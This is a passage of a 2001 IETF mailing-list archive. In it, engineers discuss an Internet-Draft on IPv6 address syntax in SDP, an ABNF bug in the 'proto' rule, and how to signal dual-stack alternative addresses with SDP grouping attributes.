>...
>---------------------------------------------
>
>So, in the RTSP RFC the "c" field is the connection information of the
>"destination" of the media stream, in other words the client. Isn't this
>contradicting with the SDP RFC? Or do I make a wrong interpretation here?

I'm not sure 'server' and 'client' is the right distinction to make here.
The idea is that the system which receives the SDP sends data to the c=
address. I think the two are consistent.

Colin

From confctrl-owner  Wed Oct 10 14:10:33 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA22095
	for confctrl-outgoing; Wed, 10 Oct 2001 14:10:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA22090
	for <confctrl@zephyr.isi.edu>; Wed, 10 Oct 2001 14:10:31 -0700 (PDT)
Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9ALAog14249
	for <confctrl@isi.edu>; Wed, 10 Oct 2001 14:10:50 -0700 (PDT)
Received: from mr7.exu.ericsson.se (mr7u3.ericy.com [208.237.135.122])
	by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f9ALAoY02955
	for <confctrl@isi.edu>; Wed, 10 Oct 2001 16:10:50 -0500 (CDT)
Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47])
	by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f9ALAnA03580
	for <confctrl@isi.edu>; Wed, 10 Oct 2001 16:10:49 -0500 (CDT)
Received: FROM eamrcnt761.exu.ericsson.se BY eamrcnt749 ; Wed Oct 10 16:10:48 2001 -0500
Received: by eamrcnt761.exu.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <4CP9VPCM>; Wed, 10 Oct 2001 16:10:48 -0500
Message-ID: <F9211EC7A7FED4119FD9005004A6C87003F2D776@eamrcnt723.exu.ericsson.se>
From: "Sean Olson (EUS)" <sean.olson@ericsson.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        "'Joerg Ott <jo@tzi.uni-bremen.de>'" <jo@tzi.uni-bremen.de>,
        "'Colin Perkins <csp@isi.edu>'" <csp@ISI.EDU>
Cc: "Stephen Hayes (EUS)" <Stephen.Hayes@am1.ericsson.se>,
        "Stephen Terrill (ERA)" <stephen.terrill@era.ericsson.se>,
        =?iso-8859-1?Q?G=F6ran_Eneroth_=28ERA=29?=
	 <goran.eneroth@era.ericsson.se>,
        "'eriietf@ericsson.com'"
	 <eriietf@ericsson.com>
Subject: draft-olson-sdp-ipv6-02.txt
Date: Wed, 10 Oct 2001 16:10:47 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C151D0.081277C0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C151D0.081277C0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C151D0.081277C0"


------_=_NextPart_001_01C151D0.081277C0
Content-Type: text/plain;
	charset="iso-8859-1"

Hello,

Attached is an updated version of the draft
describing how to encode IPv6 addresses in
SDP. There are very minor edits, but mostly
this is a re-submission because the draft
has expired.

Any comments or questions are welcome.

Regards,
Sean Olson
Ericsson Inc.



------_=_NextPart_001_01C151D0.081277C0
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2654.19">
<TITLE>draft-olson-sdp-ipv6-02.txt</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Hello,</FONT>
</P>

<P><FONT SIZE=2>Attached is an updated version of the draft</FONT>
<BR><FONT SIZE=2>describing how to encode IPv6 addresses in</FONT>
<BR><FONT SIZE=2>SDP. There are very minor edits, but mostly</FONT>
<BR><FONT SIZE=2>this is a re-submission because the draft</FONT>
<BR><FONT SIZE=2>has expired.</FONT>
</P>

<P><FONT SIZE=2>Any comments or questions are welcome.</FONT>
</P>

<P><FONT SIZE=2>Regards,</FONT>
<BR><FONT SIZE=2>Sean Olson</FONT>
<BR><FONT SIZE=2>Ericsson Inc.</FONT>
</P>

<P><FONT FACE="Arial" SIZE=2 COLOR="#000000"></FONT>&nbsp;

</BODY>
</HTML>
------_=_NextPart_001_01C151D0.081277C0--

------_=_NextPart_000_01C151D0.081277C0
Content-Type: text/plain;
	name="draft-olson-sdp-ipv6-02.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="draft-olson-sdp-ipv6-02.txt"

Internet Engineering Task Force                 Sean Olson
Internet draft                                  Gonzalo Camarillo
                                                Adam Roach
                                                Ericsson
                                                October 2001
                                                Expires March 2002
                                      <draft-olson-sdp-ipv6-02.txt>

                   Support for IPv6 in SDP


Status of this Memo

   This document is an Internet-Draft and is in full conformance with
   all provisions of Section 10 of RFC2026.

   Internet-Drafts are working documents of the Internet Engineering
   Task Force (IETF), its areas, and its working groups. Note that
   other groups may also distribute working documents as Internet-
   Drafts. Internet-Drafts are draft documents valid for a maximum of
   six months and may be updated, replaced, or obsoleted by other
   documents at any time. It is inappropriate to use Internet- Drafts
   as reference material or to cite them other than as "work in
   progress."

   The list of current Internet-Drafts can be accessed at
   http://www.ietf.org/ietf/1id-abstracts.txt
   The list of Internet-Draft Shadow Directories can be accessed at
   http://www.ietf.org/shadow.html.

Abstract

   This document describes the use of IPv6 addresses [1] in conjunction =
with
   the Session Description Protocol (SDP) [2]. Specifically, this =
document=20
   clarifies existing text in SDP with regards to the syntax of IPv6=20
   addresses.

1. Introduction

   SDP is intended for describing multimedia sessions for the purposes =
of
   session announcement, session invitation, and other forms of =
multimedia
   session initiation. It is a text format description that provides
   many details of a multimedia session including: the originator of =
the=20
   session, a URL related to the session, the connection address for =
the session
   media(s), and optional attributes for the session media(s). Each of =
these=20
   pieces of information may involve one or more IPv6 addresses. The =
ABNF for IP
   addresses in SDP currently leaves the syntax for IPv6 addresses =
undefined.=20
   This Internet-Draft attempts to complete the ABNF to include IPv6 =
addresses.

   Accordingly, the address type "IP6" indicating an IPv6 address, =
should
   be allowed in the connection field, "c=3D", of the SDP. The ABNF =
already
   reflects this, though the "Connection Data" text under section 6 of
   RFC2328 currently only defines the "IP4" address type.

Olson, et. al.                                         [Page 1]
=0C

2. Solution

   RFC2373 [1] gives an ABNF for the text representation of IPv6 =
addresses in=20
   Appendix B. RFC2732 [3] covers the text representation of IPv6 =
addresses=20
   when used within a URL. Using the ABNF described in these documents, =
the=20
   following updated ABNF for SDP is proposed.

   uri =3D                 ; defined in RFC1630 and RFC2732

   multicast-address =3D   IP4-multicast | IP6-multicast

   IP4-multicast =3D       m1 3*( "." decimal-uchar ) "/" ttl [ "/" =
integer ]
                         ; IPv4 multicast addresses may be in the range
                         ; 224.0.0.0 to 239.255.255.255

   m1 =3D                  ("22" ("4"|"5"|"6"|"7"|"8"|"9")) | ("23" =
DIGIT ))


   IP6-multicast =3D       hexpart [ ":" IP4-multicast ] =20
                         "/" ttl [ "/" integer ]=20
                         ; IPv6 address starting with FF00

   addr =3D                FQDN | unicast-address

   FQDN =3D                4*(alpha-numeric|"-"|".")
                         ; fully qualified domain name as specified in=20
                         ; RFC1035

   unicast-address =3D     IP4-address | IP6-address

   IP4-address =3D         b1 "." decimal-uchar "." decimal-uchar "." =
b4
                         | "0.0.0.0"

   b1 =3D                  decimal-uchar=20
                         ; less than "224"; not "0" or "127"

   b4 =3D                  decimal-uchar
                         ; not "0"

   IP6-address =3D         hexpart [ ":" IP4-address ]=20

   hexpart =3D             hexseq | hexseq "::" [ hexseq ] | "::" [ =
hexseq ]
   hexseq =3D              hex4 *( ":" hex4)     =20
   hex4 =3D                1*4HEXDIG

Olson, et. al.                                         [Page 2]
=0C

4. Example SDP description with IPv6 addresses

   The following is an example SDP description using the above ABNF
   for IPv6 addresses. In particular, the origin, URI, and connection
   fields contain IPv6 addresses.

   v=3D0
   o=3Dnasa1 971731711378798081 0 IN IP6 2201:056D::112E:144A:1E24
   s=3D(Almost) live video feed from Mars-II sattelite
   u=3Dhttp://[2201:056D::112E:144A:1E24]/marsII
   p=3D+1 713 555 1234
   c=3DIN IP6 FF00:03AD::7F2E:172A:1E24
   t=3D3338481189 3370017201
   m=3Daudio 6000 RTP/AVP 2
   a=3Drtpmap:2 G726-32/8000
   m=3Dvideo 6024 RTP/AVP 107
   a=3Drtpmap:107 H263-1998/90000

5. Backward compatibility

   An implementation that does not understand the IPv6 extensions to =
the
   SDP grammar MUST reject the SDP.

6. References

   [1] R. Hinden and S. Deering, "IP Version 6 Addressing =
Architecture",
   RFC2373, IETF.=20

   [2] M. Handley and V. Jacobson, "Session Description Protocol",
   RFC2327, IETF.

   [3] R. Hinden, et. al., "Format for Literal IPv6 Addresses in =
URL's",
   RFC2732, IETF.

   [4] D. Crocker and P. Overell,=20
   "Augmented BNF for Syntax Specifications: ABNF",
   RFC2234, IETF.


7. Author's Addresses

   Sean Olson
   Ericsson
   Richardson, Texas
   USA

   Phone: +1 972 583 5472
   Fax: +1 972 669 0154
   Email: Sean.Olson@ericsson.com

   Gonzalo Camarillo
   Ericsson
   Advanced Signalling Research Lab.
   FIN-02420 Jorvas
   Finland

   Phone: +358 9 299 3371
   Fax: +358 9 299 3118
   Email: Gonzalo.Camarillo@ericsson.com

   Adam Roach
   Ericsson
   Richardson, Texas
   USA

   Phone: +1 972 583 7594
   Fax: +1 972 669 0154
   Email: Adam.Roach@ericsson.com

Olson, et. al.                                         [Page 3]
=0C

------_=_NextPart_000_01C151D0.081277C0--

From confctrl-owner  Thu Oct 11 02:46:25 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA28133
	for confctrl-outgoing; Thu, 11 Oct 2001 02:46:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA28127
	for <confctrl@zephyr.isi.edu>; Thu, 11 Oct 2001 02:46:24 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9B9kgg17001
	for <confctrl@isi.edu>; Thu, 11 Oct 2001 02:46:43 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f9B9keL25513
	for <confctrl@isi.edu>; Thu, 11 Oct 2001 11:46:40 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B52C74-udp31282.lmf.ericsson.se [131.160.30.74])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id f9B9kdL08046
	for <confctrl@isi.edu>; Thu, 11 Oct 2001 12:46:39 +0300 (EET DST)
Message-ID: <3BC56A7A.2CF05C42@lmf.ericsson.se>
Date: Thu, 11 Oct 2001 12:46:34 +0300
From: Christer Holmberg <christer.holmberg@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SDP syntax
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi,

I have just recently subscribed myself to this list, so I appologise if
the following issue has already been discussed.

A while ago I found an ABNF bug(?) in the RFC, and while reading the -03
version of the sdp-new draft I saw that it is still there.

The ABNF (page 34) says:

proto =               1*(alpha-numeric)
                      ;typically "RTP/AVP" or "udp" for IP4

However, the slash ("/") character is not part of alpha-numeric, so
according to the rule "RTP/AVP" is not a valid value.


Regards,

Christer Holmberg
Ericsson Finland

From confctrl-owner  Thu Oct 11 05:47:16 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA07133
	for confctrl-outgoing; Thu, 11 Oct 2001 05:47:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA07128
	for <confctrl@zephyr.isi.edu>; Thu, 11 Oct 2001 05:47:15 -0700 (PDT)
Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9BClYg24551
	for <confctrl@isi.edu>; Thu, 11 Oct 2001 05:47:34 -0700 (PDT)
Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f9BCjpc25618
	for <confctrl@isi.edu>; Thu, 11 Oct 2001 15:45:51 +0300 (EET DST)
Received: from esebh02nok.ntc.nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5688db2029ac158f21082@esvir01nok.ntc.nokia.com>;
 Thu, 11 Oct 2001 15:47:29 +0300
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh02nok.ntc.nokia.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.78)
	id T3XDKZQN; Thu, 11 Oct 2001 15:47:30 +0300
Received: from agni.research.nokia.com (agni.research.nokia.com [172.21.40.24])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id PAA27399;
	Thu, 11 Oct 2001 15:47:30 +0300 (EETDST)
Received: (from ppessi@localhost)
	by agni.research.nokia.com (8.11.2/8.11.2) id f9BCo2S19365;
	Thu, 11 Oct 2001 15:50:02 +0300
To: Sean Olson (EUS) <sean.olson@ericsson.com>
Cc: "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: draft-olson-sdp-ipv6-02.txt
References: <F9211EC7A7FED4119FD9005004A6C87003F2D776@eamrcnt723.exu.ericsson.se>
X-face: #V(jdpv[lI!TNUU=2*oh:="#suS*ponXW"yr6G;~L}<xZn_2^0)V{jqdc4y}@2b]ffd}SY#
 :9||1pew85O,WjiYA"6C7bW^zt^+.{b#B{lEE+4$9lrXL(55g}dU>uZ\JfD\"IG#G{j`hZI;=DmT\H
 pfDMyJ`i=:M;BM3R.`[>P^ER8+]i
From: Pekka Pessi <Pekka.Pessi@nokia.com>
In-Reply-To: Sean Olson's message of "Thu, 11 Oct 2001 00:10:47 +0300"
Date: 11 Oct 2001 15:50:02 +0300
Message-ID: <pvk7y29w91.fsf@agni.research.nokia.com>
Lines: 22
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Cuyahoga Valley)
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Attached is an updated version of the draft describing how to encode
>IPv6 addresses in SDP. There are very minor edits, but mostly this is a
>re-submission because the draft has expired.

>Any comments or questions are welcome. 

	I'd like to include both IPv6 and IPv4 addresses for a
	dual-stack host in the SDP.  While SDP syntax supports including
	multiple addresses in the media description, that syntax is
	intended for layered session with multiple groups.  

	An attribute containing the IPv6 address would be best for
	indicating the alternative addresses of a dual stack host.  the
	attribute could have syntax like connection line:

a=dual-c:IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024

	What do you think?

						Pekka
<


From confctrl-owner  Thu Oct 11 06:22:09 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA08802
	for confctrl-outgoing; Thu, 11 Oct 2001 06:22:09 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA08796
	for <confctrl@zephyr.isi.edu>; Thu, 11 Oct 2001 06:22:08 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9BDMRg00017
	for <confctrl@ISI.EDU>; Thu, 11 Oct 2001 06:22:27 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f9BDL78P013924;
	Thu, 11 Oct 2001 09:21:07 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <4QPLLCC1>; Thu, 11 Oct 2001 09:22:14 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D6B4F@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Pekka Pessi'" <Pekka.Pessi@nokia.com>,
        Sean Olson
	 <sean.olson@ericsson.com>
Cc: "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: RE: draft-olson-sdp-ipv6-02.txt
Date: Thu, 11 Oct 2001 09:22:12 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Pekka Pessi [mailto:Pekka.Pessi@nokia.com]
> Sent: Thursday, October 11, 2001 8:50 AM
> To: Sean Olson
> Cc: confctrl@isi.edu
> Subject: Re: draft-olson-sdp-ipv6-02.txt
> 
> 
> >Attached is an updated version of the draft describing how to encode
> >IPv6 addresses in SDP. There are very minor edits, but 
> mostly this is a
> >re-submission because the draft has expired.
> 
> >Any comments or questions are welcome. 
> 
> 	I'd like to include both IPv6 and IPv4 addresses for a
> 	dual-stack host in the SDP.  While SDP syntax supports including
> 	multiple addresses in the media description, that syntax is
> 	intended for layered session with multiple groups.  
> 
> 	An attribute containing the IPv6 address would be best for
> 	indicating the alternative addresses of a dual stack host.  the
> 	attribute could have syntax like connection line:
> 
> a=dual-c:IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
> 
> 	What do you think?

You could alternatively have multiple m lines, and use the fid specification
to indicate that the other side should "pick one". It would be even handier
to be able to indicate a preference amongst addresses - "pick this m line
first since it uses v6".

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Thu Oct 11 07:31:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA12418
	for confctrl-outgoing; Thu, 11 Oct 2001 07:31:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA12412
	for <confctrl@zephyr.isi.edu>; Thu, 11 Oct 2001 07:31:55 -0700 (PDT)
Received: from imr1.ericy.com (imr1.ericy.com [208.237.135.240])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9BEWEg13518
	for <confctrl@ISI.EDU>; Thu, 11 Oct 2001 07:32:15 -0700 (PDT)
Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123])
	by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f9BEW7Y09373;
	Thu, 11 Oct 2001 09:32:07 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.75.179])
	by mr6.exu.ericsson.se (8.11.3/8.11.3) with ESMTP id f9BEW7D00392;
	Thu, 11 Oct 2001 09:32:07 -0500 (CDT)
Received: from lmf.ericsson.se (rmt160202.am.ericsson.se [138.85.160.202]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA20195; Thu, 11 Oct 2001 09:31:43 -0500 (CDT)
Message-ID: <3BC5B1BE.A933AE8D@lmf.ericsson.se>
Date: Thu, 11 Oct 2001 17:50:38 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Pekka Pessi'" <Pekka.Pessi@nokia.com>,
        Sean Olson <sean.olson@ericsson.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: draft-olson-sdp-ipv6-02.txt
References: <B65B4F8437968F488A01A940B21982BF020D6B4F@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Jonathan Rosenberg wrote:
> 
> 
> 
> > -----Original Message-----
> > From: Pekka Pessi [mailto:Pekka.Pessi@nokia.com]
> > Sent: Thursday, October 11, 2001 8:50 AM
> > To: Sean Olson
> > Cc: confctrl@isi.edu
> > Subject: Re: draft-olson-sdp-ipv6-02.txt
> >
> >
> > >Attached is an updated version of the draft describing how to encode
> > >IPv6 addresses in SDP. There are very minor edits, but
> > mostly this is a
> > >re-submission because the draft has expired.
> >
> > >Any comments or questions are welcome.
> >
> >       I'd like to include both IPv6 and IPv4 addresses for a
> >       dual-stack host in the SDP.  While SDP syntax supports including
> >       multiple addresses in the media description, that syntax is
> >       intended for layered session with multiple groups.
> >
> >       An attribute containing the IPv6 address would be best for
> >       indicating the alternative addresses of a dual stack host.  the
> >       attribute could have syntax like connection line:
> >
> > a=dual-c:IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
> >
> >       What do you think?
> 
> You could alternatively have multiple m lines, and use the fid specification
> to indicate that the other side should "pick one". It would be even handier
> to be able to indicate a preference amongst addresses - "pick this m line
> first since it uses v6".

The offer would look like:

         a=group:FID 1 2
         m=audio 30000 RTP/AVP 0
         c=IN IP4 131.160.1.112
         a=mid:1
         m=audio 20000 RTP/AVP 0
         a=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
         a=mid:2

The answerer would set the port of one of the m lines to zero to
indicate what he wants to receive (assuming that he does not want to
receive media simultaneously in both addresses).

Regards,

Gonzalo

> -Jonathan R.
> 
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com

-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Thu Oct 11 13:48:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA02082
	for confctrl-outgoing; Thu, 11 Oct 2001 13:48:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA02077
	for <confctrl@zephyr.isi.edu>; Thu, 11 Oct 2001 13:48:48 -0700 (PDT)
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9BKn8g27593
	for <confctrl@isi.edu>; Thu, 11 Oct 2001 13:49:08 -0700 (PDT)
Received: from INET-VRS-02.redmond.corp.microsoft.com ([157.54.8.110]) by mail2.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 11 Oct 2001 13:49:02 -0700
Received: from 157.54.9.108 by INET-VRS-02.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Thu, 11 Oct 2001 13:49:02 -0700
Received: from red-imc-04.redmond.corp.microsoft.com ([157.54.2.168]) by inet-imc-05.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 11 Oct 2001 13:49:01 -0700
Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-imc-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 11 Oct 2001 13:49:01 -0700
Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Thu, 11 Oct 2001 13:48:36 -0700
X-MimeOLE: Produced By Microsoft Exchange V6.0.6063.0
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Subject: RE: draft-olson-sdp-ipv6-02.txt
Date: Thu, 11 Oct 2001 13:48:36 -0700
Message-ID: <F66A04C29AD9034A8205949AD0C9010401C0E35B@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: draft-olson-sdp-ipv6-02.txt
Thread-Index: AcFSYlRsZQI1kYuLRoellIEGKOjNkgAMXHrQ
From: "Christian Huitema" <huitema@windows.microsoft.com>
To: "Gonzalo Camarillo" <Gonzalo.Camarillo@lmf.ericsson.se>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
Cc: "Pekka Pessi" <Pekka.Pessi@nokia.com>,
        "Sean Olson" <sean.olson@ericsson.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
X-OriginalArrivalTime: 11 Oct 2001 20:48:36.0997 (UTC) FILETIME=[19878B50:01C15296]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id NAA02078
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>          a=group:FID 1 2
>          m=audio 30000 RTP/AVP 0
>          c=IN IP4 131.160.1.112
>          a=mid:1
>          m=audio 20000 RTP/AVP 0
>          a=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
>          a=mid:2

There are two issues with this proposal: first, it does correspond to
the definition of FID in the draft-ietf-mmusic-fid-05.txt; second, it
creates a lot of overhead. (and I guess that a=IN IP6 is a typo for c=IN
IP6).

FID is defined as multiple or complementary definitions of the same
flow, such as PCM and Tones, as in:

         v=0
         o=Laura 289083124 289083124 IN IP4 six.example.com
         t=0 0
         c=IN IP4 131.160.1.112
         a=group:FID 1 2
         m=audio 30000 RTP/AVP 0
         a=mid:1
         m=audio 20000 RTP/AVP 97
         c=IN IP4 131.160.1.111
         a=rtpmap:97 telephone-events
         a=mid:2

This is not what we need. We want to say, "send this flow to either IPv4
or IPv6." A possibility would be to create a new token in the group
attribute, e.g. "a=group:ALT 1 2", which would mean "pick one or the
other", and possibly convey an order of preference. 

But this raises a second issue, overhead. Suppose a realistic example,
in which we don't just propose PCM, but actually offer the choice
between multiple codecs. We would get something like:

        a=group:ALT 1 2
        m=audio 30000 RTP/AVP 0 96 97 98
        a=rtpmap:96 codec-1-and-parameters
        a=rtpmap:97 codec-2-and-parameters
        a=rtpmap:96 codec-3-and-parameters
        c=IN IP4 131.160.1.112
        a=mid:1
        m=audio 20000 RTP/AVP 0 96 97 98
        a=rtpmap:96 codec-1-and-parameters
        a=rtpmap:97 codec-2-and-parameters
        a=rtpmap:96 codec-3-and-parameters
        c=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
        a=mid:2

I don't know whether this is a real concern, but we are by an large
doubling the size of the SDP description. Even if we accept that the
overhead is not too much of the problem, we have to understand the
relative priorities of FID and ALT. Going back to the FID example, this
would give us:

         v=0
         o=Laura 289083124 289083124 IN IP4 six.example.com
         t=0 0
         a=group:FID 1 2 3 4
         a=group:ALT 1 2
         a=group:ALT 3 4
         m=audio 30000 RTP/AVP 0
         c=IN IP6 3ffe:1200:3012:c006:290:27ff:fe7d:d024
         a=mid:1
         m=audio 30000 RTP/AVP 0
         c=IN IP4 131.160.1.112
         a=mid:2
         m=audio 20000 RTP/AVP 97
         c=IN IP6 3ffe:1200:3012:c006:6789:ABCD:EF01:2345
         a=rtpmap:97 telephone-events
         a=mid:3
         m=audio 20000 RTP/AVP 97
         c=IN IP4 131.160.1.111
         a=rtpmap:97 telephone-events
         a=mid:4

Now, that may be exactly what we want -- I can definitely generate and
parse that -- but it is not exactly intuitive...

-- Christian Huitema

From confctrl-owner  Thu Oct 11 14:54:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA05248
	for confctrl-outgoing; Thu, 11 Oct 2001 14:54:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA05243
	for <confctrl@zephyr.isi.edu>; Thu, 11 Oct 2001 14:54:12 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9BLsVg03258
	for <confctrl@ISI.EDU>; Thu, 11 Oct 2001 14:54:31 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f9BLqt8P019580;
	Thu, 11 Oct 2001 17:52:55 -0400 (EDT)
